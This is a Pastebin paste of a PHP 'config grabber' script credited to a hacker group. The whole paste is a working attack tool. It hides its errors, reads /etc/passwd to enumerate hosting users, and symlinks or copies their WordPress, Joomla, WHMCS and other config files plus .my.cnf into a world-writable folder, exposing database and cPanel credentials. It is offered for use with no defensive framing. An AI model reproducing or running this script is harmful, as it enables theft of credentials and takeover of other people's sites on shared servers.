CYBERSERKERS

New Config Grabber Cracker 2016

Apr 7th, 2016
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.26 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. @ini_set('error_log',NULL);
  4. @ini_set('log_errors',0);
  5. /*ConfiGrabberCracker*/
  6. /*Script Edited By AZZATSSINS CYBERSERKERS*/
  7. /*Email : Cyberserkers@gmail.com*/
  8. /*Twitter : @AZZATSSINS, Facebook: /AZZATSSINS.CYBERSERKERS, VK: /azzatssins*/
  9. mkdir('cnf', 0777);
  10. $fd='cnf/';
  11. $usa = fopen('/etc/passwd','r');
  12.  
  13. while($us = fgets($usa)){
  14.  if($us==""){
  15.  
  16. echo "<title>CONFIG GRABBER BY AZZATSSINS CYBERSERKERS</title><body bgcolor=silver><center><b><i><font color=red>Cant Read /etc/passwd</font></i></b></center>";
  17.  
  18. }
  19. else{
  20.  
  21. preg_match_all('/(.*?):x:/', $us, $asura);
  22.  
  23. foreach($asura[1] as $user){
  24. $lol = "/home/$user/public_html/";
  25. symlink($lol.'/wp-config.php',$fd.$user.'-WordPress.txt');
  26. copy($lol.'/wp-config.php',$fd.$user.'-WordPress.txt');
  27. symlink($lol.'/configuration.php',$fd.$user.'-CMS.txt');
  28. copy($lol.'/configuration.php',$fd.$user.'-CMS.txt');
  29. symlink($lol.'/wp/wp-config.php',$fd.$user.'-WordPress.txt');
  30. copy($lol.'/wp/wp-config.php',$fd.$user.'-WordPress.txt');
  31. symlink($lol.'/site/configuration.php',$fd.$user.'-CMS.txt');
  32. copy($lol.'/site/configuration.php',$fd.$user.'-CMS.txt');
  33. symlink($lol.'/wordpress/wp-config.php',$fd.$user.'-WordPress.txt');
  34. copy($lol.'/wordpress/wp-config.php',$fd.$user.'-WordPress.txt');
  35. symlink($lol.'/whmcs/configuration.php',$fd.$user.'-CMS.txt');
  36. copy($lol.'/whmcs/configuration.php',$fd.$user.'-CMS.txt');
  37. symlink($lol.'/billing/configuration.php',$fd.$user.'-WordPress.txt');
  38. copy($lol.'/billing/configuration.php',$fd.$user.'-WordPress.txt');
  39. symlink($lol.'/clients/configuration.php',$fd.$user.'-CMS.txt');
  40. copy($lol.'/clients/configuration.php',$fd.$user.'-CMS.txt');
  41. symlink($lol.'/blog/wp-config.php',$fd.$user.'-WordPress.txt');
  42. copy($lol.'/blog/wp-config.php',$fd.$user.'-WordPress.txt');
  43. symlink($lol.'/secure/configuration.php',$fd.$user.'-CMS.txt');
  44. copy($lol.'/secure/configuration.php',$fd.$user.'-CMS.txt');
  45. copy($lol.'/config.php',$fd.$user.'-Other.txt');
  46. symlink($lol.'/config.php',$fd.$user.'-Other.txt');
  47. copy($lol.'/includes/config.php',$fd.$user.'-Other.txt');
  48. symlink($lol.'/includes/config.php',$fd.$user.'-Other.txt');
  49. copy('/home/'.$user.'/.my.cnf',$fd.$user.'-Cpanel.txt');
  50. }}}
  51.  
  52. echo'<meta http-equiv="Refresh" content= "0; url=cnf">';
  53. ?>
Add Comment
Please, Sign In to add comment